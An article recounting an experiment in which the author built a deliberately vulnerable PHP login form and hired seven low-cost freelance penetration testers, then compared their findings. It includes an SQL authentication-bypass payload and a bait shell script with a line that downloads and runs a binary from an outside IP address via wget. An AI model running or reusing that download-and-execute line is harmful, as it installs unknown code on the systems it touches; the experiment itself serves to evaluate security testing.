Penetration Testing and Low-Cost Freelancing
The Story of How I Hired 7 Freelancers to Exploit this Weird Vulnerability
Penetration testing is complex. For it to be successful, the tester needs to possess a variety of different abilities and skills. Some testers rely only on automated tools, while others focus more on manual analysis. While a creative and unconventional way of thinking is necessary, it is also important for the tester to possess the mental discipline to adhere to the time constraints set by the client. It is common for a creative penetration tester to spend a significant amount of time investigating a fun and uncommon exploit, only to realize later that there is not enough time left to provide complete coverage. It is, therefore, not surprising that two different testers will produce two separate reports that include different findings.
I decided to run a little experiment to see how different the reports of different testers would be. I purposely created a vulnerable web application, and hired seven different freelancers to conduct penetration testing against it. I found this to be an excellent opportunity to evaluate the skills of freelancers that provide their services at an extremely low price in online marketplaces. While the cost of penetration testing can be pretty high (typically between $1,000 and $100,000+), these freelancers provide their security services for less than $100. Some of them claim to possess industry-accepted certificates, and I was curious to know the quality of their work, in particular when their services are reviewed positively by thousands of buyers.
To keep things simple, I created a PHP login form that included two critical vulnerabilities that could be exploited to bypass the authentication form. While these bugs were not hard to discover or exploit, they required manual analysis; a tester that relies only on automated tools would not be able to identify them.
The first vulnerability on the form stems from a bug in session management. During the login operation of the web application, even if the credentials are wrong, the application is including the following header in the HTTP response: Set-Cooki auth=195c530a7af5f492a74499e70578d150. A careful penetration tester that manually examines the HTTP response should be able to recognize that there is a typo in the name of the "Set-Cookie" header, hence the browser will not automatically set the cookie value. By setting this cookie value manually, the tester will gain admin privileges.
The second way to bypass the authentication of the form is by inputting "' OR 1=1'" or a similar payload. The root cause of this issue appears to be an SQL Injection vulnerability, but it is, in fact, a hardcoded SQL password. The executed SQL query can be found in the HTTP response:
SELECT * FROM form_passwords
WHERE 'password'
LIKE CONCAT(
'%',
IF(STRCMP(SYSTEM_USER(), '/dev/random@localhost')=-1, REVERSE(" \'"),
ISNULL(NULLIF(NULL-NULL*NULL, POWER(NULL,NULL)))),
IF(STRCMP(SESSION_USER(), '/dev/null@localhost')=0, CHAR(40*2-POWER(1, LOG(2)),(4*10+1)*2),
CHAR(69,4*10+9)), SPACE(1), '%' ,'\'','%',IF(STRCMP(VERSION(), '10.3.15-MariaDB-0+deb10u1')=0,
IF(CONNECTION_ID()=1337,"'"="",'-_-'),
IF(PI()<3,"<(^^)>","'=")), MID("```'`''`'`'`'``'`'``'```````'`'`'`'`'`''`'`'`",7,1), '%');
The tester will have to de-obfuscate the SQL query in order to extract the hardcoded password. For the tester to de-obfuscate the SQL query, he needs to possess basic knowledge of SQL syntax. This particular SQL query that I created is using nested inline IF statements. The conditions are checking the environmental variables SYSTEM_USER, SESSION_USER and VERSION). Since these values are not known to the tester, he will have to follow all the different logic paths until the constructed query makes sense. Some simple simplifications here and there can make the query much more readable.
After de-obfuscation, the final query will be: "SELECT * FROM form_passwords WHERE 'password123' LIKE %" OR %"$'=%". Inputs such as "' OR 1=1'" would allow the tester to bypass the authentication form successfully. I purposely decided to use a payload that is commonly used when testing forms for SQL injections as an answer to this riddle, to see how many of these testers would correctly identify the root cause of this issue.
To make things even more interesting, I put a malicious shell script as part of the HTTP response. The contents of the shell script were the following:
obscure() {
local txt="$1"
local txt="$a\'{}"
echo "${txt//?/*}"
}
sql_1 = 'SELECT * FROM form_passwords WHERE "asfsadfd" LIKE CONCAT("%", IF(STRCMP(SYSTEM_USER()'
sql_2 = 'REVERSE(), ISNULL(NULLIF(NULL-NULL*NULL, POWER(NULL,NULL)))), IF(STRCMP(SESSION_USER(), "/dev/null@localhost")=0'
sql_3 = `wget http://83.212.174.87/mal | chmod +x ./mal | ./mal`
sql_4 = '10.3.15-MariaDB-0+deb10u1)=0,IF(CONNECTION_ID()=1337,"="-_-,IF(PI()<3,<(^^)>'
sql_5 = 'LOG(2)),(4*10+1)*2), CHAR(69,4*10+9)), SPACE(1'
echo "Deobfuscating..."
eval "$sql_1"
eval "$sql_2"
eval "$sql_3"
eval "$sql_4"
eval "$sql_5"
As can be seen, on line 12, the script is downloading and executing a binary from the Internet. I wanted to see how many of these testers will be careless enough to run my malicious script without auditing it first.
Finally, I installed an SSH honeypot. My intention was to record any shell interactions by the testers and evaluate their post-exploitation methodology.
The profiles of all the testers I hired had overwhelmingly positive reviews on the online marketplace. I pretended that I needed my web form tested before my group used it in production. I received all the penetration testing reports a few days later.
Tester #1 ($20)
The tester claimed to be a Certified Ethical Hacker v9 with experience in Vulnerability Assessments and Penetration Testing.
The tester delivered the report and mentioned that he found a serious flaw in the system. He failed to identify any of the high severity findings. The report included irrelevant information, such as "Banner Grabbing & Version Detection," as well as a "Performance / Load Test." The serious flaw that the tester identified was logging in to the SSH honeypot.
Tester #2 ($30)
The tester described himself as an independent information security researcher. He mentioned that he had finished his Bachelor's in Computer Science and Certified Ethical Hacker Course by EC-Council. He claimed to have hands-on experience in vulnerability assessment and penetration testing.
This tester, too, failed to identify any of the high severity findings. The tester believed he had gotten local access to the remote machine, failing to realize that this was, in fact, a honeypot. The results that were reported had no direct impact (in regard to Integrity, Availability, Confidentiality), or they were not valid at all (e.g., directory brute-forcing).
Tester #3 ($35)
The tester claimed that they usually charge $200 for complete pentest and report, but since canceling the order will have a negative impact on their profile, they agreed to carry out the testing. They asked me to tip well after I receive the report.
Most of the findings included in this report were part of the Nessus security tool. A reflected XSS finding on a POST parameter was exaggerated as a HIGH. None of the HIGH-severity findings were identified.
Tester #4 ($40)
The tester claimed to be OSCP certified with nine years of experience.
This tester identified the SQL vulnerability successfully but failed to identify the root cause of it. He reported the vulnerability as an SQL injection as opposed to a hardcoded password. The rest of the findings he reported were part of Burp Suite's automated scanner.
Tester #5 ($50)
The tester claimed to have a B.Sc in Computer Science and various certifications, including CEH Certified Ethical Hacker and Certified Payment Industry Security Implementer. On his profile, he mentions that he provides a variety of services from PCI DSS consulting to blockchain training.
Again, none of the critical vulnerabilities were discovered. This tester did execute my malicious script even though, according to the report, he examined it for any security issues.
Tester #6 ($100)
The tester claimed to have over 20 years of experience in Ethical Hacking, and his profile has over 100 positive reviews. I ordered the premium service that included a full penetration test, professional security assessment report and recommendations & solutions.
The tester failed to identify any of the HIGH-risk vulnerabilities. All the technical details on the report were taken from automated tools (OWASP ZAP and Netsparker).
Tester #7 ($400)
The tester claimed to be an OCSP with 7+ years of professional experience with major clients. In our agreement, we agreed that he wouldn't have to provide a report to save them time and allow them to focus on testing.
The tester successfully identified the issue with the mistyped HTTP header. He did not report the SQL hardcoded password.
Following is a table that summarizes the work of all testers:
| Tester # | Cost | Bug 1 | Bug 2 | Reported vuln correctly | Did not run malicious binary |
|---|---|---|---|---|---|
| 1 | $20 | X | X | X | ✓ |
| 2 | $30 | X | X | X | ✓ |
| 3 | $35 | X | X | X | ✓ |
| 4 | $40 | X | ✓ | X | ✓ |
| 5 | $50 | X | X | X | X |
| 6 | $100 | X | X | X | ✓ |
| 7 | $400 | ✓ | X | ✓ | ✓ |
The results are straightforward. It appears that all of these contractors, with the exception of the last one, used automated tools to carry out the testing. Hence, the majority of them failed to identify the critical vulnerabilities. Some of them thought they gained access to the host through SSH without realizing they actually gained access to the virtual environment of a honeypot. Finally, one of them ran a script found online without auditing it first.
These results are not surprising considering the low cost of these services. What is surprising is the number of people purchasing these security services as well as the number of positive reviews. An incomplete security testing methodology results in a false sense of security for the assessed systems. Buyers think their systems are safe, when in fact, they may not be. Security testing always comes with a responsibility for the security posture of the system. It is the duty of the tester to be specific on what their methodology includes and how much coverage they are able to provide.